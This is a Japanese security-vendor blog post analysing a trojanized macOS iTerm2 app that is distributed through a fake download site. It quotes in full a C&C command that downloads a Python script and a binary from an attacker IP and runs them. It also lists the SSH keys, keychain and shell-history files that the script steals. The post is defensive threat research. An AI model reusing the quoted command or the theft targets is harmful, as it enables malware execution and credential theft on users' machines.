2021年9月初め、中国のQ&Aサイト「知乎(Zhihu)」上であるユーザが、『検索エンジンで「iTerm2」というキーワードを検索した結果、正規サイト「iterm2.com」を偽装した「item2.net」という偽サイトに繋がった』と報告したことを確認しました(図1)。この偽サイト内に記載されているリンクからは、macOS向け端末エミュレータ「iTerm2」の偽バージョンがダウンロードされます。この偽アプリが起動されると、47[.]75[.]123[.]111から悪意のあるPythonスクリプト「g.py」をダウンロード・実行して、感染端末から個人情報を収集します。トレンドマイクロ製品ではiTerm2の偽バージョンを「TrojanSpy.MacOS.ZURU.A」として、悪意のあるスクリプトを「TrojanSpy.Python.ZURU.A」として検出します。
macOS向けにセキュリティツールを提供するサイト「Objective-see」は、この偽アプリに関するブログ記事を以前に公開しており、攻撃者がiTerm2アプリをリパックして悪意のあるファイル「libcrypto.2.dylib」を読み込む手口を解説しています。この偽アプリは、上述したg.pyスクリプトや、商用のペネストレーションツール「Cobalt Strike Beacon」のペイロードを含む「GoogleUpdate」と呼ばれるMach-Oファイルなどの他のコンポーネントをダウンロードして実行します。本ブログ記事では、トロイの木馬化した「iTerm2」アプリの詳細について解説します。
■ トロイの木馬化したiTerm2アプリ
iterm2.netは2021年9月15日時点でまだ閲覧可能な状態でした。しかし、悪意のあるファイルはこの偽サイト上に直接ホストされているわけではありませんでした。代わりにこの偽サイトは、iTermのダウンロードリンクに見せかけたhxxp://www.kaidingle.com/iTerm/iTerm.dmgというリンクを含んでおり、ユーザはこのリンクから不正なmacOSのディスクイメージファイル(拡張子DMG)を誤ってダウンロードしてしまう可能性があります。ユーザは、偽サイト上で選択したアプリのバージョンに関係なく、iTerm.dmgをダウンロードするためのURLに誘導されます。正規サイト「iterm2.com」では、アプリのバージョンに応じて異なるURLとファイルが用意されています。正規サイトからダウンロードされたファイルは、図2に示すように、偽サイトからダウンロードしたDMGファイルとは異なり、ZIPファイル形式になっています。
DMGファイルとZIPファイルのフォルダ構造を比較した結果、両者には数多くの違いがあることが判明しました。
- 図3に示すように、トロイの木馬化したiTerm2アプリ内に存在するすべてのMach-OファイルはApple Distribution証明書で署名されているのに対し、正規iTerm2アプリ内のファイルはDeveloper ID Application証明書でコード署名されています。Appleのドキュメントによると、Apple Distribution証明書は、App Storeに配信する前のアプリにのみ使用される署名であるため、App Storeからダウンロードされたアプリには通常Apple Distribution証明書は用いられないことになります。
- 図4に示すように、トロイの木馬化したiTerm2アプリのFrameworksフォルダ内には正規版には存在しないlibcrypto.2.dylibというファイルが含まれています。
- トロイの木馬化したiTerm2アプリ内には、メインとなるMach-OファイルにLC_LOAD_DYLIBというloadコマンドが追加されており、libcrypto.2.dylibファイルを読み込みます(図5)。
Objective-seeのブログ記事では、libcrypto.2.dylibファイルに含まれる不正コードは、ユーザがトロイの木馬化したiTerm2アプリを実行すると自動的に実行されるとしています。これは正規アプリをリパックする手口としては巧妙で、これまでに確認されたことがないものです。
トロイの木馬化したiTerm2アプリが実行されるとC&Cサーバに接続して、以下のような指示を受け取ります。
- “curl -sfo /tmp/g.py http://47[.]75[.]123[.]111/g.py && chmod 777 /tmp/g.py && python /tmp/g.py && curl -sfo /tmp/GoogleUpdate http://47[.]75[.]123[.]111/GoogleUpdate && chmod 777 /tmp/GoogleUpdate && /tmp/GoogleUpdate”
- /tmp/g.pyフォルダにg.pyスクリプトをダウンロードして実行する
- /tmp/GoogleUpdateフォルダに「GoogleUpdate」をダウンロードして実行する
- g.pyスクリプトを用いてデータを収集する
実行されたPythonスクリプト「g.py」は、感染端末から以下のシステム情報やファイルを収集してC&Cサーバに送信します。
1. オペレーティングシステム(OS)情報
2. ユーザ名
3. インストールされているアプリケーション
4. ローカルIPアドレス
5. 以下のファイルおよびフォルダのコピー:
a. ~/.bash_history’
b. ~/.zsh_history
c. ~/.gitConfig
d. /etc/hosts
e. ~/.ssh
f. ~/.zhHistory
g. ~/Library/Keychains/Login.keychain-db
h. ~/Library/Application Support/VanDyke/SecureCRT/Config/
i. ~/Library/Application Support/iTerm2/SavedState/
6. 以下のディレクトリのコンテンツ:
a. ~/ – {カレントユーザのホームディレクトリ}
b. ~/Desktop
c. ~/Documents
d. ~/Downloads
e. /Applications
■ その他のトロイの木馬化したアプリおよび偽サイト
トロイの木馬化したiTerm2アプリのApple Distribution証明書をさらに分析したところ、無料オンラインマルウェアスキャンサービス「VirusTotal」上で同様にトロイの木馬化したアプリを確認しました(表1)。これらはすべて同じ方法でトロイの木馬化されています。
表1:VirusTotal上で見つかったその他のトロイの木馬化したアプリ
ファイル名 | SHA-256 | 検出名 |
iTerm.app.zip | 5f59ead37fa836c6329a7ba3edd4afc9a2c5fec61de4e0cdb8e8a41031ae4db0 | TrojanSpy.MacOS.ZURU.A |
SecureCRT.dmg | ae0510032cd4699ef17de7ed1587918ffcd7ff7c9a77fc45f9d68effe2934132 | Trojan.MacOS.ZuRu.PFH |
SecureCRT.dmg | 1e462f8716275dbae6acb3ff4f7a95624c1afb23c5069fa42a14ed49c2588921 | Trojan.MacOS.ZuRu.PFH |
Microsoft Remote Desktop.dmg | 5ca2fb207762e886dd3336cf1cb92c28f096a5fbb1798ea6721b7c94c1395259 | TrojanSpy.MacOS.ZURU.A |
Navicat15_cn.dmg | 6df91af12c87874780cc9d49e700161e1ead71ae045954adbe7633ec9e5e45ff | TrojanSpy.MacOS.ZURU.A |
Navicat15_cn.dmg | 91541cfc0474d6c06376460759517ae94f36fca74d5ab84cf5c23d98bd33939e | TrojanSpy.MacOS.ZURU.A |
iterm2.netに用いられたSSL(Secure Sockets Layer)証明書の拇印をVirusTotalで検索した結果、他にもいくつかの不正サイトが見つかりました。図6に示すように、これらの不正サイトはすべて、同じIPアドレス「43[.]129[.]218[.]115」に名前解決されました。
トレンドマイクロは、これらの偽サイトの1つ「snailsvn.cn」にアクセスすることができましたが、このページに含まれているダウンロードリンクは当該調査時点で無効であったため、この偽サイトがMac OS X向けApache Subversion(SVN)クライアント「SnailSVN」のトロイの木馬化されたバージョンをインターネット上で配布するために使用されていたかどうかは依然として不明です(図7)。ただし、本稿執筆時点でこれらのドメインはすべてアクセスできませんでした。
■ トロイの木馬化したiTerms2アプリがホストされたダウンロードサーバ
トロイの木馬化したパッケージをホストするために使用されたサーバ「kaidingle[.]com」は2021年9月7日に登録され、本稿執筆時点である10月に入っても有効でした。VirusTotalによると、このサーバは「iTerm.dmg」の他にも「SecureCTR.dmg」や「Navicat15_cn.dmg」などのDMGファイルをホストしています(図8)。2021年9月18日時点で後者のDMGファイル2つは依然としてサーバからダウンロードすることができました。
このサーバの情報をドメイン名登録情報検索サービス「WHOIS」上で確認した結果、同じ登録者の下に4つのドメインが存在することが明らかになりました(図9)。しかし当該調査時点では、これらのドメインはいずれもマルウェアに関連していることを示すものではありませんでした。
■ 第二段階で用いられるサーバ
VirusTotalは2021年9月8日~17日にかけて、悪意あるスクリプト「g.py」の接続先アドレスと同一のIPアドレス47[.]75[.]123[.]111の配下にある第二段階で用いられるサーバに関連する複数のURLを記録しました(図10)。
第二段階で用いられるサーバには、トロイの木馬化したiTermアプリが実行する不正活動の一部であるg.pyスクリプトや「GoogleUpdate」コンポーネントの他に、侵入後に攻撃ツールとして用いられる4つのMach-Oファイルがホストされています(表2)。
表2:第二段階で用いられるサーバ内にホストされているその他のMach-Oファイル
ファイル名 | SHA-256 | 説明/検出名 |
la | 79ef23214c61228a03faea00a1859509ea3bf0247219d65ae6de335fde4061f5 | オープンソースのイントラネット侵入検知ツール (https://github.com/k8gege/LadonGo) |
iox | f005ea1db6da3f56e4c8b1135218b1da56363b077d3be7d218d8284444d7824f | ポート転送またはイントラネットにプロキシ設定するためのツール (https://github.com/EddieIvan01/iox) |
netscan-darwin-amd64 | d12ef7f6de48c09e84143e90fe4a4e7b1b3d10cee5cd721f7fdf61e62e08e749 | ネットワーク上のIP/IPレンジ上で開いているポートや、同一ネットワーク上で使用されているIPアドレスをスキャンするためのツール「Netscan」。 (https://github.com/jessfraz/netscan/releases) |
Host | a83edc0eb5a2f1db62acfa60c666b5a5c53733233ce264702a16cb5220df9d4e | Backdoor.MacOS.Wirenet.PFH |
注目すべき点は、第二段階で用いられるサーバのIPアドレスが、「GoogleUpdate」の接続するサーバのIPアドレス「47[.]75[.]96[.]198」と似ていることです。これらのIPアドレスは、どちらもAlibaba Hong Kongによってホストされています。図11に示すように、47[.]75[.]96[.]198の配下にあるURLは、第二段階で用いられるサーバのURLと同時期に登録されていることから、これら2つのサーバは同じ攻撃者によって設定された可能性があります。
■ マルウェア頒布に悪用された広告サイト
本ブログの文頭で紹介したユーザレポート内で詳説されているように、検索エンジンによる検索結果の最初の項目は、サブドメイン「rjxz.jxhwst.top」の配下にあります。このアドレスをGoogle内で検索した結果、Webページのキャッシュにのみ誘導する2つの検索結果が生成されました(図12)。当該調査時点でこれらの実際のページはすでにダウンしています。
「Microsoft Remote Desktop」と呼ばれる最初の検索結果(図12)のアドレスはhxxp://rjxz.jxhwst.top/3ですが、このページのキャッシュ(図13)とソースコード(図14)に基づいて、サイト訪問者をhxxp://remotedesktop.vipという偽サイトに誘導していたことがわかりました。
メインページを確認したところ、第2レベルドメイン「jxhwst.top」は中国北部の農業法人に属していることが明らかとなりました。この第2レベルドメインにはrjxz.jxhwst.topというサブドメインのほかに44個のサブドメインがあり、そのほとんどが農業法人とは関係のない広告に使用されていました(図15)。この農業法人は、これらのサブドメインを広告目的で他者に貸し出している可能性がありますが、一方で、違法な目的で使用されることを防ぐこともできない可能性があります。これが事実であれば、攻撃者はマルウェアを頒布するためにサブドメインを借りていることになります。
■ 被害に遭わないためには
正規アプリを悪用する脅威からシステムを保護するためにエンドユーザは正規マーケットプレイスからのみアプリをダウンロードする必要があります。また、検索エンジンの検索結果にも注意し、表示されたURLが本当に正規サイトを指しているかどうかを常に再確認してください。URLリンクをクリックする前にWebサイトの安全性を確認したい場合は、弊社の「Site Safety Center」を利用いただくことも有効な手段です。
■ トレンドマイクロの対策
個人のお客様は、包括的なセキュリティを提供する「ウイルスバスター クラウド」を、またMacのみをご利用の場合は「ウイルスバスター for Mac」などのセキュリティソリューションをご利用ください。
法人のお客様は、XGenセキュリティを活用したUser Protectionソリューションが有効です。User Protectionソリューションは、ゲートウェイからエンドポイントに至るまで多層に渡る保護を提供し、ユーザへの影響を最小限に抑えます。
■ 侵入の痕跡(Indicators of Compromise、IoC)
今回の記事に関する侵入の痕跡は、こちらを参照してください。
■ トロイの木馬化した「iTerm2」アプリの攻撃手法
ATT&CK Matrix for ENTERPRISE により分類したトロイの木馬化した「iTerm2」アプリのTTPは以下の通りです:
戦術(Tactic) | ID | 名前 | 説明 |
初期アクセス(Initial Access) | T1566.002 | Spearphishing Link | 検索エンジンの結果に表示されるフィッシングサイト |
実行(Execution) | T1059.006 | Python | Pythonスクリプトをダウンロードします |
---|---|---|---|
T1204.002 | Malicious File | リパックされたiTerm2アプリを実行すると、マルウェア「dyliblibcrypt.2.dylib」が起動します | |
セキュリティ回避(Defense Evasion) | T1140 | Deobfuscate/Decode Files or Information | マルウェア「dylib」内の文字列は、AESおよびBase64でエンコードされています |
T1036 | Masquerading (6) | マルウェアは、リパックされたiterm2アプリ内にインジェクションされたマルウェア「dylib」です | |
収集(Collection) | T1560.002 | Archive via Library | 様々な情報を収集してzipアーカイブに追加します |
T1005 | Data from Local System | システム情報、bashのコマンド履歴、ログインキーチェーン情報を収集します | |
T1602 | Data from Configuration Repository (2) | / Library / Application Support / VanDyke / SecureCRT / Configのコンテンツを収集します | |
情報送出(Exfiltration) | T1041 | Exfiltration Over C2 Channel | 収集されたファイルは、「hxxp://47[.]75[.]123[.]111/u.php」に送信されます |
参考記事:
- 「Mac Users Targeted by Trojanized iTerm2 App」
by Steven Du, Luis Magisa
記事構成:岡本 勝之(セキュリティエバンジェリスト)
平子 正人(セキュリティマーケティンググループ)
翻訳:益見 和宏(Core Technology Marketing, Trend Micro Research
The post macOS向け端末エミュレータ「iTerm2」を偽装する攻撃手口を解説 first appeared on トレンドマイクロ セキュリティブログ.